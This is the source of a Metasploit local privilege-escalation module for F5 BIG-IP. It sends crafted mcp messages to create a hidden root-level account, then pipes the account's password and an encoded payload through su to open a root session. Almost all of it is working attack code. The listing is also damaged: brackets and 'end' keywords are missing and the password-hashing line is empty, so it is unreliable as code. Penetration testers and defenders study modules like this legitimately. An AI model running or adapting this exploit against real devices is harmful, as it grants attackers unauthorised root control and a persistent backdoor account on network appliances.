# This module requires Metasploit:  
# Current source:  
require 'unix_crypt'  
class MetasploitModule < Msf::Exploit::Local  
include Msf::Post::Linux::F5Mcp  
include Msf::Exploit::CmdStager  
def initialize(info = {})  
'Name' => 'F5 Big-IP Create Admin User',  
'Description' => %q{  
This creates a local user with a username/password and root-level  
privileges. Note that a root-level account is not required to do this,  
which makes it a privilege escalation issue.  
Note that this is pretty noisy, since it creates a user account and  
creates log files and such. Additionally, most (if not all)  
vulnerabilities in F5 grant root access anyways.  
Adapted from  
'License' => MSF_LICENSE,  
'Author' => ['Ron Bowes'],  
'Platform' => [ 'unix', 'linux', 'python' ],  
'SessionTypes' => ['shell', 'meterpreter'],  
'References' => [  
['URL', ''], # Original PoC  
['URL', ''],  
['URL', ''],  
'Privileged' => true,  
'DisclosureDate' => '2022-11-16',  
'Arch' => [ ARCH_CMD, ARCH_PYTHON ],  
'Type' => :unix_cmd,  
'Targets' => [[ 'Auto', {} ]],  
'Notes' => {  
'Stability' => [],  
'Reliability' => [],  
'SideEffects' => []  
register_options(['USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alphanumeric(8)]),'PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(12)]),'CREATE_SESSION', [true, 'If set, use the new account to create a root session', true]),  
def exploit  
# Get or generate the username/password  
fail_with(Failure::BadConfig, 'USERNAME cannot be empty') if datastore['USERNAME'].empty?  
username = datastore['USERNAME']  
if datastore['CREATE_SESSION']  
password = Rex::Text.rand_text_alphanumeric(12)  
new_password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)  
print_status("Will attempt to create user #{username} / #{password}, then change password to #{new_password} when creating a session")  
password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)  
print_status("Will attempt to create user #{username} / #{password}")  
# If the password is already hashed, leave it as-is  
vprint_status('Hashing the password with SHA512')  
hashed_password =  
if !hashed_password || hashed_password.empty?  
fail_with(Failure::BadConfig, 'Failed to hash the password with String.crypt')  
# These requests have to go in a single 'session', which, to us, is  
# a single packet (since we don't have AF_UNIX sockets)  
result = mcp_send_recv([  
# Authenticate as 'admin' (this probably shouldn't work but does)  
mcp_build('user_authenticated', 'structure', [  
mcp_build('user_authenticated_name', 'string', 'admin')  
# Start transaction  
mcp_build('start_transaction', 'structure', [  
mcp_build('start_transaction_load_type', 'ulong', 0)  
# Create the role mapping  
mcp_build('create', 'structure', [  
mcp_build('user_role_partition', 'structure', [  
mcp_build('user_role_partition_user', 'string', username),  
mcp_build('user_role_partition_role', 'ulong', 0),  
mcp_build('user_role_partition_partition', 'string', '[All]'),  
# Create the userdb entry  
mcp_build('create', 'structure', [  
mcp_build('userdb_entry', 'structure', [  
mcp_build('userdb_entry_name', 'string', username),  
mcp_build('userdb_entry_partition_id', 'string', 'Common'),  
mcp_build('userdb_entry_is_system', 'ulong', 0),  
mcp_build('userdb_entry_shell', 'string', '/bin/bash'),  
mcp_build('userdb_entry_is_crypted', 'ulong', 1),  
mcp_build('userdb_entry_passwd', 'string', hashed_password),  
# Finish the transaction  
mcp_build('end_transaction', 'structure', [])  
# Handle errors  
if result.nil?  
fail_with(Failure::Unknown, 'Request to mcp appeared to fail')  
# The only result we really care about is an error  
error_returned = false  
result.each do |r|  
result = mcp_get_single(r, 'result')  
result_code = mcp_get_single(result, 'result_code')  
# If there's no code or it's zero, just ignore it  
if result_code.nil? || result_code == 0  
# If we're here, an error was returned!  
error_returned = true  
# Otherwise, try and get result_message  
result_message = mcp_get_single(result, 'result_message')  
if result_message.nil?  
print_warning("mcp query returned a non-zero result (#{result_code}), but no error message")  
print_error("mcp query returned an error message: #{result_message} (code: #{result_code})")  
# Let them know if it likely worked  
if !error_returned  
print_good("Service didn't return an error, so user was likely created!")  
if datastore['CREATE_SESSION']  
print_status('Attempting create a root session...')  
out = cmd_exec("echo -ne \"#{password}\\n#{password}\\n#{new_password}\\n#{new_password}\\n#{payload.encoded}\\n\" | su #{username}")  
vprint_status("Output from su command: #{out}")